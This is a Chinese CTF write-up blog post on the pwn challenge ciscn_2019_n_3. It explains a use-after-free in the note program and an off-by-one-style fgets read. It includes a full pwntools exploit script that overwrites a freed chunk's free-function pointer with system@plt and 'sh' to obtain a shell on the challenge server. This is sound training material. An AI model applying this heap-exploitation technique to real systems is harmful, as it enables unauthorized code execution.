ciscn_2019_n_3题目细说

写在前面

笔者在这里讲述一下新手入heap做题记录,同时修正一下网上很多wp存在的错误。

检查保护

做pwn题,老规矩是检查保护起手了。可以看到32位程序,开了nx和canary,got表可写,虽然这个题目用不到改写got表,233。
在这里插入图片描述

函数讲解

需要让大家在分析前了解的是fgets函数。

char *fgets(char *str, int n, FILE *stream)
从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止。

目前的理解就是,程序会从stream这个文件描述符中读取n - 1个字节到str指针处。注意,这里读取n - 1 字节的数据很重要。

程序漏洞分析

main函数

普通的菜单,创建、删除、打印堆块的选项。调用过system函数,可以直接利用。
在这里插入图片描述

do_new()函数

创建堆块,用records指针对堆块进行管理。网上其他博客对于创建堆块指针的存储讲解的很详细了,本文就简略带过了。只是这里要注意在输入text类型的内容时,要求我们输入读取内容的长度,并用fgets函数进行读入。还记得前面提到的fgets函数吗?,因此这里用户输入的时候,程序会比预计少读入一个字节。
在这里插入图片描述

do_del()函数

在上面的创建堆块时,会在堆块+4的位置存储相应类型free的函数,因此在do_del()函数中,会调用堆块+4处的函数指针对堆块进行free操作。
在这里插入图片描述
相应的,int类型的堆块会调用rec_int_free()函数
在这里插入图片描述
text类型的堆块会调用rec_str_free()函数
在这里插入图片描述
从上面可以看出,程序只是对指针进行了free操作,并没有将指针置0,因此存在UAF漏洞,可以进行利用。并且两种类型的堆块进行free的时候,都会对ptr即records[v0]进行free,这点很重要。

do_dump()函数

与上面的do_del()函数整体相似,且没有需要利用的地方,就不赘述了。
在这里插入图片描述

漏洞利用

exp

先贴上exp,方便后面讲解

from LibcSearcher import *
from sys import *
from time import *
context(os="linux",arch = "i386",log_level = "debug")
#++++++++++++++++++++++++++++++++++++++++
filename = sys.argv[1]
choice = sys.argv[2]
if choice == "1":
	port = sys.argv[3]
	p = remote("node4.buuoj.cn",port)
else:
	p = process(filename)
elf = ELF(filename)
#++++++++++++++++++++++++++++++++++++++++
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sa = lambda delim,x : p.sendafter(delim,x)
sl = lambda x : p.sendline(x)
sla = lambda delim,x : p.sendlineafter(delim,x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
	gdb.attach(p)
	pause()
#++++++++++++++++++++++++++++++++++++++++
fake_rbp = "deadbeef"
fake_ebp = "dead"

def cmd(choice):
    ru(b"CNote > ")
    sl(str(choice))

def new(index,type,value,length = 0):
    cmd(1)
    sla(b"Index > ",str(index))
    sla(b"Type > ",str(type))
    if type == 1:
            sla(b"Value > ",str(value))
    elif type == 2:
            sla("Length > ",str(length))
            sla(b"Value > ",value)

def delete(index):
    cmd(2)
    sla(b"Index > ",str(index))

def pnote(index):
    cmd(3)
    sla(b"Index > ",str(index))

system_plt = elf.plt["system"]
new(0,2,b"aaaa",0xc)
debug()    #--------------------------------①
new(1,1,0xf)
pause()    #--------------------------------②
delete(0)
pause()    #--------------------------------③
delete(1)
pause()    #--------------------------------④
fix_delete = flat(
	{
	0x0: b"sh\x00",
	0x4: p32(system_plt)
	},length = 0x8)
new(3,2,fix_delete,0xa)
pause()    #--------------------------------⑤
delete(0)
pause()    #--------------------------------⑥
itr()

我们每次对堆块进行操作时都加上暂停进行调试分析。
在①处的断点,我们可以看到先申请了0xc大小的堆块。records[0]处记录了第一个申请到的chunk指针,我们姑且称为ptr0。在ptr0处存储了rec_str_print函数指针、ptr0+4处存储了rec_str_free函数指针,ptr0+8处记录了存储真正内容的chunk块地址,我们称这个chunk为content。
在这里插入图片描述
在②处的断点,就创建了一个新的int类型的堆块
在这里插入图片描述
在③和④处的断点,因为程序的执行流程,会让free的chunk在fastbin中如下排列。那么后面我们再申请0xc大小以下的堆块时,根据首次适应和LIFO的原则,会从左向右拿出fastbin中的空闲chunk。因此此时我们如果申请一个0xc大小的text类型的chunk,就可以将0x9c17000处的chunk作为存储text内容的chunk了。
在这里插入图片描述
在⑤处的断点,我们就按照上面的思路,申请了一个text类型的chunk,并写入了9字节的内容。这样子我们就成功的向ptr0处写入"sh\x00"的字符,改ptr0+4处为system函数的plt地址。(程序中间断掉了,heap具体地址不同)
在这里插入图片描述
在⑥处的断点,因为UAF的漏洞,我们可以继续对chunk0进行删除操作。但是这个时候程序就会执行我们布置好的system(“sh”)的命令。(当然,把sh换成/bin/sh字符串也是同一个道理
在这里插入图片描述
于此,成功getshell

多说几句

网上大多数exp的解释都是向ptr0+4处写入system函数,再向content这个堆块中写入”/bin/sh\x00“,这样子可以利用下图红色处的操作,伪造system(“/bin/sh”)执行,实际上这样子是不对的。因为用fgets函数进行读入的操作,会让我们在覆写system地址进入程序的时候,必须带上一个”\x0a“的换行符,但是这个换行符就会影响到寻找下一个chunk,因此不能解释成利用红框处的操作进行getshell。
在这里插入图片描述
真正的解释是本文上面讲述的,利用了红色框下面的一条free操作,进行system指令的伪造执行。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值